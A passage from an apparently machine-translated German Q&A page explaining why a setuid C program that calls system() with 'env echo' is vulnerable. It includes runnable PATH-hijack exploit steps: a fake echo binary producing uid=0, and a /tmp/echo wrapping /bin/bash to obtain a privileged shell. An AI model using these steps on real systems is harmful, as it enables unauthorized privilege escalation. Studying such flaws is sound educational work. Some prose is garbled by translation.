Was ist an diesem C -Code gefährdet?
-
25-10-2019 - |
Frage
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
system("/usr/bin/env echo and now what?");
}
So wie ich es verstehe, ermöglicht der obige Code eine beliebige Code (oder Programm-) Ausführung - was macht dies verletzlich und wie nutzt man das?
Lösung
Sie können die überschreiben PATH
Variable, um auf ein Verzeichnis mit Ihrer benutzerdefinierten Version von zu verweisen echo
und da echo
wird verwendet env
, Es wird nicht als eingebautes behandelt.
Dies bildet nur eine Verwundbarkeit, wenn der Code als privilegierter Benutzer ausgeführt wird.
Im folgenden Beispiel enthält Datei VC den Code aus der Frage.
$ cat echo.c
#include <stdio.h>
#include <unistd.h>
int main() {
printf("Code run as uid=%d\n", getuid());
}
$ cc -o echo echo.c
$ cc -o v v.c
$ sudo chown root v
$ sudo chmod +s v
$ ls -l
total 64
-rwxr-xr-x 1 user group 8752 Nov 29 01:55 echo
-rw-r--r-- 1 user group 99 Nov 29 01:54 echo.c
-rwsr-sr-x 1 root group 8896 Nov 29 01:55 v
-rw-r--r-- 1 user group 279 Nov 29 01:55 v.c
$ ./v
and now what?
$ export PATH=.:$PATH
$ ./v
Code run as uid=0
$
Beachten setresuid()
vor dem Anruf an system()
In dem in der Frage veröffentlichten gefährdeten Code ermöglicht es, die Sicherheitsanfälligkeit zu nutzen, auch wenn nur eine effektive Benutzer-ID auf eine privilegierte Benutzer-ID eingestellt ist und die reale Benutzer-ID nicht privilegiert bleibt (wie zum Beispiel der Fall, wenn Sie sich auf das Set-User-ID-Bit verlassen eine Datei wie oben). Ohne den Anruf zu setresuid()
Die Shell läuft vorbei system()
würde die effektive Benutzer -ID auf die reale Benutzer -ID zurücksetzen, wodurch der Exploit unwirksam ist. In dem Fall, wenn der gefährdete Code mit einer echten Benutzer -ID eines privilegierten Benutzers ausgeführt wird, wird jedoch ausgeführt. system()
Rufen Sie alleine aus. Zitieren sh
Mann Seite:
Wenn die Shell mit der effektiven Benutzer -ID (Gruppen-) ID gestartet wird, die nicht der realen Benutzer -ID (Gruppen-) ID entspricht, und die Option -P nicht geliefert wird, werden keine Startdateien gelesen, die Shellfunktionen werden nicht aus der Umgebung geerbt, die Schalopts, die Shellopts Variable, wenn sie in der Umgebung angezeigt wird, wird ignoriert und die effektive Benutzer -ID auf die reale Benutzer -ID eingestellt. Wenn die Option -P beim Aufruf geliefert wird, ist das Startverhalten gleich, die effektive Benutzer -ID wird jedoch nicht zurückgesetzt.
Beachten Sie auch, dass setresuid()
ist nicht tragbar, aber setuid()
oder setreuid()
kann auch für den gleichen Effekt verwendet werden.
Andere Tipps
Nun, eigentlich auf dem Systemfunktionsaufruf können Sie mit dem anlegen echo
Befehl. Zum Beispiel, wenn Sie den folgenden Code ausführen:
echo "/bin/bash" > /tmp/echo
chmod 777 /tmp/echo && export PATH=/tmp:$PATH
Sie erhalten eine Shell mit der Erlaubnis des Dateibesitzers